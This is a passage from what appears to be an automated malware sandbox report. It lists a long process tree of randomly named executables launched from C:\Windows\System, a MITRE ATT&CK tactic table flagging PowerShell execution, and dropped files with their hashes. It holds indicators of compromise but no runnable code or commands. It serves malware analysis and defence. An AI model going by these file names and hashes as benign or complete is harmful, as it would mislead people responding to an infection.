  C:\Windows\System\WVaqIOz.exe
  2⤵
  PID:8584
- C:\Windows\System\mRtEIIZ.exe
  C:\Windows\System\mRtEIIZ.exe
  2⤵
  PID:8600
- C:\Windows\System\yifALXm.exe
  C:\Windows\System\yifALXm.exe
  2⤵
  PID:8616
- C:\Windows\System\vubIjBP.exe
  C:\Windows\System\vubIjBP.exe
  2⤵
  PID:8632
- C:\Windows\System\uSpMrfO.exe
  C:\Windows\System\uSpMrfO.exe
  2⤵
  PID:8648
- C:\Windows\System\ujlYIvZ.exe
  C:\Windows\System\ujlYIvZ.exe
  2⤵
  PID:8664
- C:\Windows\System\PSEXkio.exe
  C:\Windows\System\PSEXkio.exe
  2⤵
  PID:8680
- C:\Windows\System\ygwZrAR.exe
  C:\Windows\System\ygwZrAR.exe
  2⤵
  PID:8696
- C:\Windows\System\xBYlWcC.exe
  C:\Windows\System\xBYlWcC.exe
  2⤵
  PID:8712
- C:\Windows\System\opUPJkl.exe
  C:\Windows\System\opUPJkl.exe
  2⤵
  PID:8728
- C:\Windows\System\JIdivSp.exe
  C:\Windows\System\JIdivSp.exe
  2⤵
  PID:8744
- C:\Windows\System\aiDuRyb.exe
  C:\Windows\System\aiDuRyb.exe
  2⤵
  PID:8760
- C:\Windows\System\XDnwXOF.exe
  C:\Windows\System\XDnwXOF.exe
  2⤵
  PID:8776
- C:\Windows\System\aIkXWpm.exe
  C:\Windows\System\aIkXWpm.exe
  2⤵
  PID:8792
- C:\Windows\System\izSbXOX.exe
  C:\Windows\System\izSbXOX.exe
  2⤵
  PID:8808
- C:\Windows\System\BAhcqCw.exe
  C:\Windows\System\BAhcqCw.exe
  2⤵
  PID:8824
- C:\Windows\System\JCMdYRp.exe
  C:\Windows\System\JCMdYRp.exe
  2⤵
  PID:8840
- C:\Windows\System\mVJhQnk.exe
  C:\Windows\System\mVJhQnk.exe
  2⤵
  PID:8856
- C:\Windows\System\WcoVpPq.exe
  C:\Windows\System\WcoVpPq.exe
  2⤵
  PID:8872
- C:\Windows\System\cakpvJf.exe
  C:\Windows\System\cakpvJf.exe
  2⤵
  PID:8888
- C:\Windows\System\dYcKtzf.exe
  C:\Windows\System\dYcKtzf.exe
  2⤵
  PID:8904
- C:\Windows\System\ZUmtsCE.exe
  C:\Windows\System\ZUmtsCE.exe
  2⤵
  PID:8920
- C:\Windows\System\FvNlbOU.exe
  C:\Windows\System\FvNlbOU.exe
  2⤵
  PID:8936
- C:\Windows\System\pBnZwob.exe
  C:\Windows\System\pBnZwob.exe
  2⤵
  PID:8952
- C:\Windows\System\OtWoRJt.exe
  C:\Windows\System\OtWoRJt.exe
  2⤵
  PID:8968
- C:\Windows\System\gkiyXlc.exe
  C:\Windows\System\gkiyXlc.exe
  2⤵
  PID:8984
- C:\Windows\System\QlmJccm.exe
  C:\Windows\System\QlmJccm.exe
  2⤵
  PID:9000
- C:\Windows\System\yOtesVr.exe
  C:\Windows\System\yOtesVr.exe
  2⤵
  PID:9016
- C:\Windows\System\EqMmPMM.exe
  C:\Windows\System\EqMmPMM.exe
  2⤵
  PID:9032
- C:\Windows\System\hihpryW.exe
  C:\Windows\System\hihpryW.exe
  2⤵
  PID:9048
- C:\Windows\System\NzxGktD.exe
  C:\Windows\System\NzxGktD.exe
  2⤵
  PID:9064
- C:\Windows\System\PqPgimO.exe
  C:\Windows\System\PqPgimO.exe
  2⤵
  PID:9084
- C:\Windows\System\VTNxrNb.exe
  C:\Windows\System\VTNxrNb.exe
  2⤵
  PID:9100
- C:\Windows\System\Fjqbmqz.exe
  C:\Windows\System\Fjqbmqz.exe
  2⤵
  PID:9116
- C:\Windows\System\mGfvJCY.exe
  C:\Windows\System\mGfvJCY.exe
  2⤵
  PID:9136
- C:\Windows\System\obSBwgo.exe
  C:\Windows\System\obSBwgo.exe
  2⤵
  PID:9156
- C:\Windows\System\nZXOxFj.exe
  C:\Windows\System\nZXOxFj.exe
  2⤵
  PID:9172
- C:\Windows\System\wEDVrdZ.exe
  C:\Windows\System\wEDVrdZ.exe
  2⤵
  PID:9188
- C:\Windows\System\flcCKeo.exe
  C:\Windows\System\flcCKeo.exe
  2⤵
  PID:9204
- C:\Windows\System\twDYXtW.exe
  C:\Windows\System\twDYXtW.exe
  2⤵
  PID:7332
- C:\Windows\System\UspqDec.exe
  C:\Windows\System\UspqDec.exe
  2⤵
  PID:7312
- C:\Windows\System\KPTsfKP.exe
  C:\Windows\System\KPTsfKP.exe
  2⤵
  PID:8132
- C:\Windows\System\oeFTdQp.exe
  C:\Windows\System\oeFTdQp.exe
  2⤵
  PID:8256
- C:\Windows\System\eTvWJDB.exe
  C:\Windows\System\eTvWJDB.exe
  2⤵
  PID:8320
- C:\Windows\System\sHzpmop.exe
  C:\Windows\System\sHzpmop.exe
  2⤵
  PID:8412
- C:\Windows\System\EUVMRVZ.exe
  C:\Windows\System\EUVMRVZ.exe
  2⤵
  PID:8204
- C:\Windows\System\ytgatLR.exe
  C:\Windows\System\ytgatLR.exe
  2⤵
  PID:7884
- C:\Windows\System\fusOWzo.exe
  C:\Windows\System\fusOWzo.exe
  2⤵
  PID:7648
- C:\Windows\System\lJieGLY.exe
  C:\Windows\System\lJieGLY.exe
  2⤵
  PID:7176
- C:\Windows\System\gjCxjah.exe
  C:\Windows\System\gjCxjah.exe
  2⤵
  PID:8268
- C:\Windows\System\boWmWsh.exe
  C:\Windows\System\boWmWsh.exe
  2⤵
  PID:8336
- C:\Windows\System\rTpaFte.exe
  C:\Windows\System\rTpaFte.exe
  2⤵
  PID:8400
- C:\Windows\System\IQqKHqW.exe
  C:\Windows\System\IQqKHqW.exe
  2⤵
  PID:8464
- C:\Windows\System\OlZakSC.exe
  C:\Windows\System\OlZakSC.exe
  2⤵
  PID:8512
- C:\Windows\System\MDOleMF.exe
  C:\Windows\System\MDOleMF.exe
  2⤵
  PID:8576
- C:\Windows\System\HnMvIFP.exe
  C:\Windows\System\HnMvIFP.exe
  2⤵
  PID:8640
- C:\Windows\System\WrXBGJL.exe
  C:\Windows\System\WrXBGJL.exe
  2⤵
  PID:8496
- C:\Windows\System\BHdmLaD.exe
  C:\Windows\System\BHdmLaD.exe
  2⤵
  PID:8736
- C:\Windows\System\EGwmhqz.exe
  C:\Windows\System\EGwmhqz.exe
  2⤵
  PID:8800
- C:\Windows\System\ITKHJxK.exe
  C:\Windows\System\ITKHJxK.exe
  2⤵
  PID:8596
- C:\Windows\System\eiJPNYe.exe
  C:\Windows\System\eiJPNYe.exe
  2⤵
  PID:8564
- C:\Windows\System\xjJrZXG.exe
  C:\Windows\System\xjJrZXG.exe
  2⤵
  PID:8688
- C:\Windows\System\IJalUgA.exe
  C:\Windows\System\IJalUgA.exe
  2⤵
  PID:8788
- C:\Windows\System\NaThkGn.exe
  C:\Windows\System\NaThkGn.exe
  2⤵
  PID:8868
- C:\Windows\System\ilAMgff.exe
  C:\Windows\System\ilAMgff.exe
  2⤵
  PID:8820
- C:\Windows\System\fwrtDOl.exe
  C:\Windows\System\fwrtDOl.exe
  2⤵
  PID:8900
- C:\Windows\System\HuZaIgY.exe
  C:\Windows\System\HuZaIgY.exe
  2⤵
  PID:8960
- C:\Windows\System\QKrxKYw.exe
  C:\Windows\System\QKrxKYw.exe
  2⤵
  PID:8992
- C:\Windows\System\enhaluj.exe
  C:\Windows\System\enhaluj.exe
  2⤵
  PID:8996
- C:\Windows\System\Rlgndfa.exe
  C:\Windows\System\Rlgndfa.exe
  2⤵
  PID:9092
- C:\Windows\System\DKufllG.exe
  C:\Windows\System\DKufllG.exe
  2⤵
  PID:9040
- C:\Windows\System\LLmtmIp.exe
  C:\Windows\System\LLmtmIp.exe
  2⤵
  PID:9108
- C:\Windows\System\qUPvhcz.exe
  C:\Windows\System\qUPvhcz.exe
  2⤵
  PID:8040
- C:\Windows\System\kYHYhqL.exe
  C:\Windows\System\kYHYhqL.exe
  2⤵
  PID:8352
- C:\Windows\System\gEXMYIT.exe
  C:\Windows\System\gEXMYIT.exe
  2⤵
  PID:9076
- C:\Windows\System\eJIExdo.exe
  C:\Windows\System\eJIExdo.exe
  2⤵
  PID:7508
- C:\Windows\System\xEzpdXu.exe
  C:\Windows\System\xEzpdXu.exe
  2⤵
  PID:8380
- C:\Windows\System\CpCLfRG.exe
  C:\Windows\System\CpCLfRG.exe
  2⤵
  PID:7424
- C:\Windows\System\YGnJRWX.exe
  C:\Windows\System\YGnJRWX.exe
  2⤵
  PID:7072
- C:\Windows\System\kqrBdQD.exe
  C:\Windows\System\kqrBdQD.exe
  2⤵
  PID:8460
- C:\Windows\System\RLftcOC.exe
  C:\Windows\System\RLftcOC.exe
  2⤵
  PID:8332
- C:\Windows\System\zJJREXi.exe
  C:\Windows\System\zJJREXi.exe
  2⤵
  PID:8524
- C:\Windows\System\IQcqOKe.exe
  C:\Windows\System\IQcqOKe.exe
  2⤵
  PID:8752
- C:\Windows\System\pQKHaLN.exe
  C:\Windows\System\pQKHaLN.exe
  2⤵
  PID:8912
- C:\Windows\System\ErYiODI.exe
  C:\Windows\System\ErYiODI.exe
  2⤵
  PID:8064
- C:\Windows\System\EEadNir.exe
  C:\Windows\System\EEadNir.exe
  2⤵
  PID:8044
- C:\Windows\System\IHTNQMm.exe
  C:\Windows\System\IHTNQMm.exe
  2⤵
  PID:8608
- C:\Windows\System\BFkPOtu.exe
  C:\Windows\System\BFkPOtu.exe
  2⤵
  PID:8560
- C:\Windows\System\HpTNRSV.exe
  C:\Windows\System\HpTNRSV.exe
  2⤵
  PID:8448
- C:\Windows\System\tAsvVfF.exe
  C:\Windows\System\tAsvVfF.exe
  2⤵
  PID:8396
- C:\Windows\System\iAZWAIF.exe
  C:\Windows\System\iAZWAIF.exe
  2⤵
  PID:8660
- C:\Windows\System\VxGgIeB.exe
  C:\Windows\System\VxGgIeB.exe
  2⤵
  PID:8948
- C:\Windows\System\puxANPe.exe
  C:\Windows\System\puxANPe.exe
  2⤵
  PID:9056
- C:\Windows\System\GiEMVLR.exe
  C:\Windows\System\GiEMVLR.exe
  2⤵
  PID:8252
- C:\Windows\System\kldTYWr.exe
  C:\Windows\System\kldTYWr.exe
  2⤵
  PID:7636
- C:\Windows\System\fFIOqzB.exe
  C:\Windows\System\fFIOqzB.exe
  2⤵
  PID:8724
- C:\Windows\System\ezzIprD.exe
  C:\Windows\System\ezzIprD.exe
  2⤵
  PID:9124
- C:\Windows\System\sghCEWJ.exe
  C:\Windows\System\sghCEWJ.exe
  2⤵
  PID:8676
- C:\Windows\System\mDauliw.exe
  C:\Windows\System\mDauliw.exe
  2⤵
  PID:8932
- C:\Windows\System\SzzTxMm.exe
  C:\Windows\System\SzzTxMm.exe
  2⤵
  PID:8444
- C:\Windows\System\TdxbccX.exe
  C:\Windows\System\TdxbccX.exe
  2⤵
  PID:8136
- C:\Windows\System\gCKcXKg.exe
  C:\Windows\System\gCKcXKg.exe
  2⤵
  PID:9152
- C:\Windows\System\nnhRRUt.exe
  C:\Windows\System\nnhRRUt.exe
  2⤵
  PID:8980
- C:\Windows\System\VgSCCQA.exe
  C:\Windows\System\VgSCCQA.exe
  2⤵
  PID:8864
- C:\Windows\System\UoCPaug.exe
  C:\Windows\System\UoCPaug.exe
  2⤵
  PID:8720
- C:\Windows\System\XJBgoVk.exe
  C:\Windows\System\XJBgoVk.exe
  2⤵
  PID:8316
- C:\Windows\System\rRKgPLL.exe
  C:\Windows\System\rRKgPLL.exe
  2⤵
  PID:8080
- C:\Windows\System\ekVHepd.exe
  C:\Windows\System\ekVHepd.exe
  2⤵
  PID:9184
- C:\Windows\System\MBvEXDo.exe
  C:\Windows\System\MBvEXDo.exe
  2⤵
  PID:8740
- C:\Windows\System\ULoPuVk.exe
  C:\Windows\System\ULoPuVk.exe
  2⤵
  PID:8508
- C:\Windows\System\FURotvO.exe
  C:\Windows\System\FURotvO.exe
  2⤵
  PID:9220
- C:\Windows\System\jAxWDtf.exe
  C:\Windows\System\jAxWDtf.exe
  2⤵
  PID:9236
- C:\Windows\System\CaNOgZa.exe
  C:\Windows\System\CaNOgZa.exe
  2⤵
  PID:9252
- C:\Windows\System\EzqXmsF.exe
  C:\Windows\System\EzqXmsF.exe
  2⤵
  PID:9272
- C:\Windows\System\DFKFaKz.exe
  C:\Windows\System\DFKFaKz.exe
  2⤵
  PID:9288
- C:\Windows\System\pAvAXAJ.exe
  C:\Windows\System\pAvAXAJ.exe
  2⤵
  PID:9304
- C:\Windows\System\AWUyCLE.exe
  C:\Windows\System\AWUyCLE.exe
  2⤵
  PID:9320
- C:\Windows\System\OggbnOG.exe
  C:\Windows\System\OggbnOG.exe
  2⤵
  PID:9388
- C:\Windows\System\GBrQPpS.exe
  C:\Windows\System\GBrQPpS.exe
  2⤵
  PID:9404
- C:\Windows\System\RsvDBYw.exe
  C:\Windows\System\RsvDBYw.exe
  2⤵
  PID:9420
- C:\Windows\System\SyuFuRe.exe
  C:\Windows\System\SyuFuRe.exe
  2⤵
  PID:9436
- C:\Windows\System\rySaikn.exe
  C:\Windows\System\rySaikn.exe
  2⤵
  PID:9452
- C:\Windows\System\SfRnGdy.exe
  C:\Windows\System\SfRnGdy.exe
  2⤵
  PID:9468
- C:\Windows\System\vtEIFpq.exe
  C:\Windows\System\vtEIFpq.exe
  2⤵
  PID:9484
- C:\Windows\System\ibrKjlG.exe
  C:\Windows\System\ibrKjlG.exe
  2⤵
  PID:9500
- C:\Windows\System\xsSMvDv.exe
  C:\Windows\System\xsSMvDv.exe
  2⤵
  PID:9520
- C:\Windows\System\NQaGWyA.exe
  C:\Windows\System\NQaGWyA.exe
  2⤵
  PID:9540
- C:\Windows\System\BgqSuDV.exe
  C:\Windows\System\BgqSuDV.exe
  2⤵
  PID:9572
- C:\Windows\System\tddotKQ.exe
  C:\Windows\System\tddotKQ.exe
  2⤵
  PID:9596
- C:\Windows\System\purtFMd.exe
  C:\Windows\System\purtFMd.exe
  2⤵
  PID:9612
- C:\Windows\System\KtxPQOK.exe
  C:\Windows\System\KtxPQOK.exe
  2⤵
  PID:9628
- C:\Windows\System\MyorBNy.exe
  C:\Windows\System\MyorBNy.exe
  2⤵
  PID:9644
- C:\Windows\System\mauOJqP.exe
  C:\Windows\System\mauOJqP.exe
  2⤵
  PID:9664
- C:\Windows\System\jsTvntS.exe
  C:\Windows\System\jsTvntS.exe
  2⤵
  PID:9680
- C:\Windows\System\uaFMsyJ.exe
  C:\Windows\System\uaFMsyJ.exe
  2⤵
  PID:9696
- C:\Windows\System\aLiVhxc.exe
  C:\Windows\System\aLiVhxc.exe
  2⤵
  PID:9712
- C:\Windows\System\dOCvkzC.exe
  C:\Windows\System\dOCvkzC.exe
  2⤵
  PID:9732
- C:\Windows\System\VapfEZw.exe
  C:\Windows\System\VapfEZw.exe
  2⤵
  PID:9748
- C:\Windows\System\fmbhXDF.exe
  C:\Windows\System\fmbhXDF.exe
  2⤵
  PID:9768
- C:\Windows\System\lYojmGj.exe
  C:\Windows\System\lYojmGj.exe
  2⤵
  PID:9784
- C:\Windows\System\yEoWhMy.exe
  C:\Windows\System\yEoWhMy.exe
  2⤵
  PID:9800
- C:\Windows\System\CzaYBIc.exe
  C:\Windows\System\CzaYBIc.exe
  2⤵
  PID:9816
- C:\Windows\System\ECzTDvh.exe
  C:\Windows\System\ECzTDvh.exe
  2⤵
  PID:9832
- C:\Windows\System\njXlzGy.exe
  C:\Windows\System\njXlzGy.exe
  2⤵
  PID:9852
- C:\Windows\System\HwCdRcg.exe
  C:\Windows\System\HwCdRcg.exe
  2⤵
  PID:9868
- C:\Windows\System\tuuVCXn.exe
  C:\Windows\System\tuuVCXn.exe
  2⤵
  PID:9884
- C:\Windows\System\uRlPiGR.exe
  C:\Windows\System\uRlPiGR.exe
  2⤵
  PID:9904
- C:\Windows\System\kVUCicZ.exe
  C:\Windows\System\kVUCicZ.exe
  2⤵
  PID:9924
- C:\Windows\System\nhyuGwR.exe
  C:\Windows\System\nhyuGwR.exe
  2⤵
  PID:9940
- C:\Windows\System\JLJqHAP.exe
  C:\Windows\System\JLJqHAP.exe
  2⤵
  PID:9956
- C:\Windows\System\qTCXhwK.exe
  C:\Windows\System\qTCXhwK.exe
  2⤵
  PID:9972
- C:\Windows\System\iHwlLad.exe
  C:\Windows\System\iHwlLad.exe
  2⤵
  PID:9992
- C:\Windows\System\vasjqhq.exe
  C:\Windows\System\vasjqhq.exe
  2⤵
  PID:10008
- C:\Windows\System\LFEDVtd.exe
  C:\Windows\System\LFEDVtd.exe
  2⤵
  PID:10024
- C:\Windows\System\IVxKrzM.exe
  C:\Windows\System\IVxKrzM.exe
  2⤵
  PID:10040
- C:\Windows\System\GgqXEaT.exe
  C:\Windows\System\GgqXEaT.exe
  2⤵
  PID:10064
- C:\Windows\System\HxLciqw.exe
  C:\Windows\System\HxLciqw.exe
  2⤵
  PID:10080
- C:\Windows\System\iKCTkSx.exe
  C:\Windows\System\iKCTkSx.exe
  2⤵
  PID:10096
- C:\Windows\System\CsNhtFU.exe
  C:\Windows\System\CsNhtFU.exe
  2⤵
  PID:10112
- C:\Windows\System\saOnGJr.exe
  C:\Windows\System\saOnGJr.exe
  2⤵
  PID:10132
- C:\Windows\System\nzgQMrp.exe
  C:\Windows\System\nzgQMrp.exe
  2⤵
  PID:10152
- C:\Windows\System\AjGzFie.exe
  C:\Windows\System\AjGzFie.exe
  2⤵
  PID:10172
- C:\Windows\System\CPfdoNf.exe
  C:\Windows\System\CPfdoNf.exe
  2⤵
  PID:10188
- C:\Windows\System\TbPJDXx.exe
  C:\Windows\System\TbPJDXx.exe
  2⤵
  PID:10204
- C:\Windows\System\cPejKQf.exe
  C:\Windows\System\cPejKQf.exe
  2⤵
  PID:10220
- C:\Windows\System\LdoxfSU.exe
  C:\Windows\System\LdoxfSU.exe
  2⤵
  PID:8368
- C:\Windows\System\RVJxnoX.exe
  C:\Windows\System\RVJxnoX.exe
  2⤵
  PID:9232
- C:\Windows\System\hZnrzXs.exe
  C:\Windows\System\hZnrzXs.exe
  2⤵
  PID:8236
- C:\Windows\System\TpHlqcp.exe
  C:\Windows\System\TpHlqcp.exe
  2⤵
  PID:9248
- C:\Windows\System\UmCjoEJ.exe
  C:\Windows\System\UmCjoEJ.exe
  2⤵
  PID:9296
- C:\Windows\System\viNRUGl.exe
  C:\Windows\System\viNRUGl.exe
  2⤵
  PID:9312
- C:\Windows\System\QyEIHSi.exe
  C:\Windows\System\QyEIHSi.exe
  2⤵
  PID:9336
- C:\Windows\System\UVpnueq.exe
  C:\Windows\System\UVpnueq.exe
  2⤵
  PID:8304
- C:\Windows\System\zPeHcTF.exe
  C:\Windows\System\zPeHcTF.exe
  2⤵
  PID:9364
- C:\Windows\System\iHCvlal.exe
  C:\Windows\System\iHCvlal.exe
  2⤵
  PID:9396
- C:\Windows\System\OoYlinG.exe
  C:\Windows\System\OoYlinG.exe
  2⤵
  PID:9460
- C:\Windows\System\tkgXvQp.exe
  C:\Windows\System\tkgXvQp.exe
  2⤵
  PID:9532
- C:\Windows\System\cpUYgmc.exe
  C:\Windows\System\cpUYgmc.exe
  2⤵
  PID:9588
- C:\Windows\System\oYMnWHk.exe
  C:\Windows\System\oYMnWHk.exe
  2⤵
  PID:9416
- C:\Windows\System\GyIwUyp.exe
  C:\Windows\System\GyIwUyp.exe
  2⤵
  PID:9480
- C:\Windows\System\XTZhTXk.exe
  C:\Windows\System\XTZhTXk.exe
  2⤵
  PID:9796
- C:\Windows\System\RAoEcxX.exe
  C:\Windows\System\RAoEcxX.exe
  2⤵
  PID:9968
- C:\Windows\System\nvLklUJ.exe
  C:\Windows\System\nvLklUJ.exe
  2⤵
  PID:1576
- C:\Windows\System\wDrHSPB.exe
  C:\Windows\System\wDrHSPB.exe
  2⤵
  PID:10000
- C:\Windows\System\yghdLba.exe
  C:\Windows\System\yghdLba.exe
  2⤵
  PID:10020
- C:\Windows\System\NnFGsuP.exe
  C:\Windows\System\NnFGsuP.exe
  2⤵
  PID:10060
- C:\Windows\System\JjIimRJ.exe
  C:\Windows\System\JjIimRJ.exe
  2⤵
  PID:10124
- C:\Windows\System\bOeWtEw.exe
  C:\Windows\System\bOeWtEw.exe
  2⤵
  PID:10104
- C:\Windows\System\OfCsSqC.exe
  C:\Windows\System\OfCsSqC.exe
  2⤵
  PID:10180
- C:\Windows\System\leGaiWG.exe
  C:\Windows\System\leGaiWG.exe
  2⤵
  PID:10164
- C:\Windows\System\QapxdSi.exe
  C:\Windows\System\QapxdSi.exe
  2⤵
  PID:10216
- C:\Windows\System\XoPHPgb.exe
  C:\Windows\System\XoPHPgb.exe
  2⤵
  PID:9180
- C:\Windows\System\jOvUCTr.exe
  C:\Windows\System\jOvUCTr.exe
  2⤵
  PID:9244
- C:\Windows\System\bWRANiI.exe
  C:\Windows\System\bWRANiI.exe
  2⤵
  PID:9264
- C:\Windows\System\gFTTeIv.exe
  C:\Windows\System\gFTTeIv.exe
  2⤵
  PID:9352
- C:\Windows\System\THUGFwH.exe
  C:\Windows\System\THUGFwH.exe
  2⤵
  PID:9448
- C:\Windows\System\Hvpmoaq.exe
  C:\Windows\System\Hvpmoaq.exe
  2⤵
  PID:9316
- C:\Windows\System\nKNMKte.exe
  C:\Windows\System\nKNMKte.exe
  2⤵
  PID:9380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AXrEzht.exe

Filesize
1.6MB

MD5
8397761df1e4a31bbf43abc32b28cb48

SHA1
6ff8ec82be3dccd0856918a9f5c91f6946f617b1

SHA256
17554acf3d0d49508251ebf4ee76303cd1b784641e87c0b28ba4bbebc59c6211

SHA512
adb45532ad12f7b9acf6a3f052d5d3e67a360252e383f90f7fdad9a50359b4f942cbd1ba4e7a321c396df71ccbb03a07754b45873a864038520c3124e251a24f

Download Submit
C:\Windows\system\HvYwKdc.exe

Filesize
1.6MB

MD5
b4a9e5b88f772fb417b4a541538110ff

SHA1
b13c4e506635f6da4b4d83b5c34f1f5525527112

SHA256
97cd9331fa6c9bc2f61577eead8a925e6cfe018b0b1577adb6884a202614c2b6

SHA512
589bcc1302f9fced67f6c2b4d124df5ee3b8fe1140e280450232320d7baa86da114e1ed2a0eecbc7db279d3c565a8b8273aad3ae0bccec82d55e3f56618fe973

Download Submit
C:\Windows\system\KFXpWzs.exe

Filesize
1.6MB

MD5
815164cee235859e1140c740f33df3bb

SHA1
9b1e5db76ef00721568868f77126d5497def8e02

SHA256
10374ec34e27fef85c150d82b04329298b0f1271316a2958b81fb2973eb52567

SHA512
a73557cb56d593eb630b62588539f2c645b53e1d84364da2754db386488c12f57b0911df07a7e2259a235abff5306d671893e22412127431401f374c0d67d46c

Download Submit
C:\Windows\system\LHmOjJd.exe

Filesize
1.6MB

MD5
10f4928bce6e3673a5aa00ff73eaa3cf

SHA1
dacc41a83f08cf21b2530ecaff8a8f8df2a2b05a

SHA256
7cad9f2e1c1a17aa4236ab6477c086d09160c4962de2fb26b0eb64f1df3a3c14

SHA512
a19b03cbb04cf931464ba41cd3ee98408d135fceb95a027ab112503047f6ed25e0cb23dc57afbfdad540cb8e903fd7ad0465901e5ecb495f6958c808276273cc

Download Submit
C:\Windows\system\NIebELs.exe

Filesize
1.6MB

MD5
826209b1bbaf3d93bb4df6657fa399b7

SHA1
838bb99f665d75db238c6d4afe63920bd0476407

SHA256
a04653a41d287cbbef94fafdd5c9e3fbb66ae8690d567d554d6ac65fefc6a587

SHA512
345e8482a684f2bca0f5d53a3d7ea15bd35a4488044bad8b60d81abf17daed7b5c69747ddc9233d2c50d5cb612dae03734bfd4573d81789f74b094ad5fc8cb4c

Download Submit
C:\Windows\system\OaZUKZA.exe

Filesize
1.6MB

MD5
9b2b17b340b785c17bbf2575d0d06236

SHA1
0fb8e8c9b88688e1bcca2f78b0f623c2de1c79fc

SHA256
6fd2649a25832514620db7f8efc3a36021bf01efe94dd209778d8221b0d2d289

SHA512
a57744641780433d950393d8793764eef71533cc8f3b78c993f0ca55c9adeca0eee30867eab6d5c5783dc28cf3514b224d2cc538891183b9be9acb6f379b5608

Download Submit
C:\Windows\system\YGVayIg.exe

Filesize
1.6MB

MD5
2b591ca3bc9c96995e3efd742764d287

SHA1
e8a0cc0b6c8077037e6356bb186adf0ebbfc484e

SHA256
7b33e7e4b4f83f7ba71b903b95c845b144644580e94ffc6abf40463a709d5cac

SHA512
ed45edd0cdcf8192bd80c024b88b9d240106e373bb84c15592be0aaae6ebf7f6a06c93897b88bf4d4be51161b7cd9b1ffe2ef16818dc83689ae7acace69918f8

Download Submit
C:\Windows\system\YQEbmQc.exe

Filesize
1.6MB

MD5
e0c4726eea36f1dc7f678e4c23c862aa

SHA1
f6c89931c4c525b54382375100baff07af250e3a

SHA256
dee85d03e2c29cc8b22d9afb3c578d2ce342c1cbd9509d6c465cd8aae60a3cef

SHA512
f27d87c9249ad49ca634adde416e7e73e5a807b78450582ecc13eed798b0156e1f001a679dac09a0704ba0995e850d8d86ce3c9531d5de11ba6b98e6691ab36f

Download Submit
C:\Windows\system\bGAjsFQ.exe

Filesize
1.6MB

MD5
a042df57fb5d7cfbde62add5e61cb8a9

SHA1
43eda24d497a12fcb446568b6cedc5e8a0bc31b5

SHA256
fb69fdada3e3d01d732389e4b120fb09ac305c840b9ad90e76ea8f16c4d3dd4f

SHA512
0779b5824cb07563d58adb9fee3dd63f4c09b6a059f692e97050f6bc935529cb82ac71551d196c1df6717688f1f0bad0ec38563a5fd8cf54bd3b594e8cad8777

Download Submit
C:\Windows\system\bwsNyFF.exe

Filesize
1.6MB

MD5
a7845efdd2b103c9e378d0010cfd7cfe

SHA1
09ebd7367b34136ca33563e7208cd12b8da8f9c5

SHA256
7be542657fda2fdb7b60d5625f57b71f8e45c5c0bf289249aa29e45c922e328a

SHA512
5cf747ed851f671eba55ee64257262fa33dd4ea4ce85ad617bd0bddb545f6ebe0cbcfa7cecf426ca66710d0b688287dd4f4f43c33f0c1b423026d1923532857e

Download Submit
C:\Windows\system\fNbVgDg.exe

Filesize
1.6MB

MD5
a7139b2bc059173251e04e6b02f00236

SHA1
3f5b7e555d6e6f8b79ab61494f6650f9b6c5908a

SHA256
f3e50a75d75bca5274b471a32d5589f92bf39f30d642e5fdd7d73db8e3a6b94f

SHA512
b54801a3a9605e3f089899735dadc98dca1f78d7775800756ae9f31758374a38b06c7360b1fd15ec194258646cb5bed67963dccbb321bf1d447a395c9c51a161

Download Submit
C:\Windows\system\fOrGlgv.exe

Filesize
1.6MB

MD5
4aa3b984a0be08aabe456c5e0b11c92e

SHA1
2fcceea947575691e8e2b3d8a5dad15a8bd04d39

SHA256
03998cff2547f1e10f18eaa82ca1f71924d2831a7323b3c92aa7ea4a6751b1d5

SHA512
cc7cd4c3af11e8d84367f28cd4ed886325e751cca54c6ef557f9518a4f04e4c57b7e540720478d34427b7d060533469ff1e1aa4733396fca8506b59929d7b02a

Download Submit
C:\Windows\system\fwTLRln.exe

Filesize
1.6MB

MD5
2e18273b68bc1f774c1715384b069061

SHA1
24d643e0bd45849f62f89bebb8bb258136323d47

SHA256
228b5fe99d6a8839ce770aab2cece95255522fe5a396dea5952bd31a98717e70

SHA512
f2cc7b8b44e91fcb074a2469bac1515f76972a8340a1ef8ed8e061d8bc4fd161d698858821de4c271b92a90f8a1c2d9b21d4bdd3a53b48d27729a70f317f5f04

Download Submit
C:\Windows\system\hgeudMm.exe

Filesize
1.6MB

MD5
910bdb9d06ffafdc6af5660b494ea2fb

SHA1
96838e8542ddaff2ca0fe293ba50ed57db7639ec

SHA256
869054da9495dc935f07890846add44261212213a17a782103df2ca5802ed787

SHA512
bfa2ed48856206634a942bfda3092ac64b292a2136b513ca8c3cdfda79004ec61518fa18d4a2de84ec0f2567fce80521cf97b0f3f7dbabf594bc8f89bb51aece

Download Submit
C:\Windows\system\jJphpSR.exe

Filesize
1.6MB

MD5
913ab004e0b5c8ec3047c572ad8671c4

SHA1
12edd68b82f99aaec0800c8e8ecaae5b9b38f208

SHA256
0aff9e0509f59309cdafdb3759c2b7f160dccf689f471365a035888aee3fd5ff

SHA512
454bc7740fe178a356ee8164a2a7cb383537a48e33c59880253e8c6d8643022cf406742f35965a75f09f26373b873874e8ff5ea81afd222a41dbe84f6728afa7

Download Submit
C:\Windows\system\lyEiNGh.exe

Filesize
8B

MD5
69a2459cf267ca53a07e1000877ec5f5

SHA1
6180fdab39e41b082a5f032106ea0881035fc630

SHA256
ada8e0c66fd35906bd1beeda81d420b6e5f6b475841d10e62bd6374afbeacb69

SHA512
856cc19353d1aa3d8ce28f9d4a1fe10bf85ecb48b19883b3993f89b4192a7bd4dbaf2f158bd3e246dfcbb6a46252185b62c3e867aadc7a9e5bf0721b6b86c55b

Download Submit
C:\Windows\system\oSmLzbX.exe

Filesize
1.6MB

MD5
be695f743f876fa37979bb54547ec510

SHA1
81eb363cd227387fcf4591614b38743d0638e8df

SHA256
a1c1a706541851d72a731be77dcb64780cbdb1c421486f8066ed991ec122dbfe

SHA512
f4eda8d4594f477041c14fe2084ad205ca473d50619cf2f6163d77fd3efd416a1d0ea9b14e2b51281bfe01caf6f417802029b70b960320d90958525afd89208a

Download Submit
C:\Windows\system\pCobjDc.exe

Filesize
1.6MB

MD5
f12b4e97e1738f2d8e29fe3189bd820a

SHA1
ba5bab11fb20e957e415a92c9dedec4d429cfce4

SHA256
dadd094bea3b03ae33c70ed644142e6690a0edd8cbc81dec5991bf2477ed3808

SHA512
